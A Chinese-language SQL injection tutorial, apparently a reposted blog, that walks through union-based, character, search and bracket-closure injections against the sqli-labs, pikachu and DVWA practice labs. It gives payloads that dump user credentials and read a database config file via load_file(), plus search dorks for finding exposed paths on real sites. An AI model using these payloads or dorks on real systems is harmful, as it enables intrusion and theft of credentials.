SQL-Injection

文章目录

      • 引入
        • columns表
        • tables表
        • schemata表
        • 以sqli-labs靶场为例
        • 路径获取常见方法
        • 文件读取函数
        • 文件写入函数
        • 防注入
      • 数字型注入(post)
      • 字符型注入(get)
      • 搜索型注入
      • xx型注入

image-20230815221138682

引入

MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中符号"."代表下一级,如security.users表示security数据库下的users表名

image-20230814205017557

查看information_schema里的所有表 show tables;

在这里插入图片描述

columns表

select * from columns\G;

table_schema存储的是数据库的名称

image-20230814211054519

tables表

image-20230814210508460

schemata表

schema_name字段存放数据库的名字

image-20230814211150506

information_schema.tables   #记录所有表名信息的表
information_schema.columns  #记录所有列名信息的表
table_name                  #表名
column_name                 #列名
table_schema                #数据库名

函数

database()  #数据库名
version()  #数据库版本
user()   #用户名

以sqli-labs靶场为例

1、判断注入类型

?id=1 and 1=1 --+
?id=1 and 1=2 --+

image-20230814212338725

image-20230814212404812

注入类型为数字型

2、判断列数

?id=1 order by 3--+
?id=1 order by 4--+      -- 报错

image-20230814212530433

3、判断显示位

?id=-1 union select 1,2,3 --+

image-20230814212615284

第二位和第三位为显示位

4、获取所有数据库

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

image-20230814212735861

group_concat这个函数默认是跟group by 分组来一起使用的

如果没有使用group by语句,那么默认就是一个组,会显示所有的内容

详见博客


5、获取当前数据库

?id=-1 union select 1,2,database() --+

image-20230814213605037

6、获取用户名和数据库版本

?id=-1 union select 1,version(),user() --+

可以看到当前是以root用户登录的数据库,数据库版本是5.7.26

image-20230814213457277



跨表查询:↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

7、查看指定dvwa数据库下的所有表名信息

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where  table_schema='dvwa' --+

image-20230814214008586

7、查看指定pikachu数据库下表名为users的所有列信息

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where  table_schema='pikachu'  and table_name='users'--+

image-20230814214237328

查看数据库验证是否正确

image-20230814214350149

8、查询pikachu库下的users表的数据

?id=-1 union select 1,username,password from pikachu.users--+

image-20230814214649437

?id=-1 union select 1,2,group_concat(username,password) from pikachu.users--+

image-20230814214802971

?id=-1 union select 1,group_concat(username),group_concat(password) from pikachu.users--+

image-20230814214926228

?id=-1 union select 1,group_concat(concat_ws("-",username,password)),3 from pikachu.users--+

concat_ws将多个字符串连接成一个字符串,第一个参数指定分隔符,分隔符不能为null,如果为null,则返回结果为null

image-20230814215055839

concat_ws函数和concat函数的区别

路径获取常见方法

1、报错显示

浏览器输入框inurl:edu.cn warning

image-20230815192354329

2、遗留文件 inurl:phpinfo.php

3、漏洞报错

4、平台配置文件

5、爆破

文件读取函数

使用show global variables like '%secure%';查看secure_file_priv的值secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的值为null,表示限制导入导出,''表示不限制如果为null,在mysql安装目录中的my.ini文件中的[mysqld]项下添加 secure_file_priv = ''重启mysql服务
load_file()  #读取函数
# select load_file('c:/xx.txt');

load_file读取敏感信息

image-20230815194228604

1、读取指定文件内容

http://192.168.80.139/sqli/Less-3/?id=-1')  union select 1,load_file('c:/test/demo.txt'),3--+

在这里插入图片描述

image-20230815194838300

2、读取网站数据库配置文件

C:\software\phpstudy_pro\WWW\sqli\sql-connections\db-creds.inc

image-20230815195224707

http://192.168.80.139/sqli/Less-3/?id=-1')  union select 1,load_file('C:\\software\\phpstudy_pro\\WWW\\sqli\\sql-connections\\db-creds.inc'),3--+

image-20230815195400128右键查看网页源代码

image-20230815195419487

文件写入函数

into outfile 或者 into dumpfile   #写入函数
#select 'x'  into outfile 'd:/www.txt';

防注入

魔术引号

内置函数 int

image-20230815202559859

自定义关键字:select

image-20230815202450124

WAF防护软件

数字型注入(post)

id=1 or 1=1

在这里插入图片描述

字符型注入(get)

直接输入1' or 1=1#

在这里插入图片描述

或者用bp抓包,构造闭合

name=1'or'1'='1

在这里插入图片描述

搜索型注入

搜索框中输入a

在这里插入图片描述

sql语句

select from 表名 where username like '%a%';

构造闭合a%' or 1=1# #号在数据库中表示注释

select from 表名 where username like '%a%' or 1=1#%';

在这里插入图片描述

xx型注入

就是猜闭合罢了

看源代码

vim /var/www/html/pikachu/vul/sqli/sqli_x.php

在这里插入图片描述

select id,email from member where username=('$name');

构造闭合xx') or 1=1#

select id,email from member where username=('xx') or 1=1#');

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/52143.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

macOS - 上编译运行 risc-v (spike)

文章目录 一、说明二、安装步骤三、测试 一、说明 本文根据以下文章改编: RISC-V 环境配置 https://decaf-lang.github.io/minidecaf-tutorial/docs/step0/riscv_env.html 相关链接: riscv-gnu-toolchain GNU toolchain for RISC-V, including GCC ht…

YOLOV1

YOU ONLY LOOK ONCE

常见设计模式学习+面试总结

一 设计模式简介 二 面试总结 1 什么是单例模式?都有哪些地方用到单例? 内存中只会创建且仅创建一次对象的设计模式,保证一个类只有一个实例,并且提供一个访问该全局访问点。 应用场景: 网站的计数器,一般…

学习ts(六)数据类型(元组、枚举、Symbol、never)与类型推论

1.元组 元组(Tuple)是固定数量的不同类型的元素的组合。是数组的变种。 元组与集合的不同之处在于,元组中的元素类型可以是不同的,而且数量固定。元组的好处在于可以把多个元素作为一个单元传递。如果一个方法需要返回多个值&…

生成式人工智能的潜在有害影响与未来之路(三)

产品责任法的潜在适用 背景和风险 产品责任是整个二十世纪发展起来的一个法律领域,旨在应对大规模生产的产品可能对社会造成的伤害。这一法律领域侧重于三个主要危害:设计缺陷的产品、制造缺陷的产品和营销缺陷的产品。产品责任法的特点有两个要素&…

R包开发1:RStudio 与 GitHub建立连接

目录 1.安装Git 2-配置Git(只需配置一次) 3-用SSH连接GitHub(只需配置一次) 4-创建Github远程仓库 5-克隆仓库到本地 目标:创建的R包,包含Git版本控制,并且能在远程Github仓库同步,相当于发布在Github。…

C语言练习2(巩固提升)

C语言练习2 选择题 前言 “志之所趋,无远弗届,穷山距海,不能限也。”对想做爱做的事要敢试敢为,努力从无到有、从小到大,把理想变为现实。要敢于做先锋,而不做过客、当看客,让创新成为青春远航的…

xshell 学习记录

xshell 检查config目录是否在当前目录下存在 current_directory$(pwd) if [ -d "$current_directory/config" ]; then echo "config目录存在于当前目录。" else echo "config目录不存在于当前目录。" fi xshell检查某个端口是否被占用…

HTML 网页中 自定义图像单击或鼠标悬停时放大

HTML 网页中 自定义图像单击或鼠标悬停时放大 一:在悬停时更改 HTML 图像的大小 例子中,使用 CSS 样式;来设置每个图像元素的高宽 200px;以及 10px 边距,以便在图像周围留出空间。 使用 CSS 的 :hover 属性来添加悬停效…

EFCore常见用法

EFCore官方文档置顶,看这个就行。下面的内容只是总结,算是备忘录。 一、创建和删除 //1、创建数据库和表 db.Database.EnsureCreated();//将创建数据库(如果不存在)并初始化数据库架构。 如果存在任何表 (包括另一 DbContext 类)…

概念解析 | 电磁计算的新篇章:智能电磁计算

注1:本文系“概念解析”系列之一,致力于简洁清晰地解释、辨析复杂而专业的概念。本次辨析的概念是:智能电磁计算。 电磁计算的新篇章:智能电磁计算 随着人工智能的飞速发展,我们正处在一个信息爆炸的时代。各个领域&a…

图为科技-边缘计算在智慧医疗领域的作用

边缘计算在智慧医疗领域的作用 随着科技的进步,智慧医疗已成为医疗行业的重要发展趋势。边缘计算作为新兴技术,在智慧医疗领域发挥着越来越重要的作用。本文将介绍边缘计算在智慧医疗领域的应用及其优势,并探讨未来发展方向。 一、边缘计算…

matlab使用教程(19)—曲线拟合与一元方程求根

1.多项式曲线拟合 此示例说明如何使用 polyfit 函数将多项式曲线与一组数据点拟合。您可以按照以下语法,使用 polyfit 求出以最小二乘方式与一组数据拟合的多项式的系数 p polyfit(x,y,n), 其中: • x 和 y 是包含数据点的 x 和 y 坐标的向量 …

laravel中Mail发送邮件失败,但是没有错误信息,该如何调试?

在Laravel中,当使用Mail类发送邮件失败但没有错误信息显示时,可以按照以下步骤进行调试: 检查日志文件: Laravel会记录各种应用程序活动和错误信息。查看应用程序的日志文件,通常位于storage/logs目录下,寻…

Git笔记--分支常用命令

目录 1--git branch -v 2--git branch 3--git checkout 4--git merge 1--git branch -v git branch -v git branch -v 用于查看分支版本; 2--git branch git branch xxxxx # xxxxx表示分支名 git branch 用于创建分支; 3--git checkout git check…

搭建一个spring框架(基于spring.formwork的@Configuration和@Bean注解搭建)

使用 Spring Framework的注解方式来搭建 Spring 框架,以下是基本步骤: **步骤 1:准备开发环境** 确保你的开发环境中有 Java 开发工具(如 JDK)和一个集成开发环境(IDE)。 **步骤 2&#xff1…

uniapp 安卓平台签名证书(.keystore)生成

安装JRE环境 下载jre安装包:https://www.oracle.com/java/technologies/downloads/#java8安装jre安装包时,记录安装目录(例:C:\Program Files\Java\jdk-20)打开命令行(cmd),将JRE安装路径添加到系统环境变量 d: se…

PostgreSQL基本操作总结

安装按PostgreSQL数据库后,会默认创建用户postgres和数据库postgres,这个用户是超级用户,权限最高,可以创建其他用户和权限,在实际开发过程中,会新创建用户和业务数据库,本文主要介绍用户权限和…

Redis Pub/Sub 指南

Redis 不仅仅是一个数据库,还可以作为支持发布和订阅(Pub/Sub)操作的消息代理。本文将使用 Navicat for Redis 简要概述 Redis 的 Pub/Sub 功能。 关于发布或订阅消息范式 Pub/Sub 是一种模式,发送者(广播者&#xf…

分类预测 | MATLAB实现SCNGO-CNN-LSTM-Attention数据分类预测

分类预测 | MATLAB实现SCNGO-CNN-LSTM-Attention数据分类预测 目录 分类预测 | MATLAB实现SCNGO-CNN-LSTM-Attention数据分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.SCNGO-CNN-LSTM-Attention数据分类预测程序,改进算法,融合正余弦和…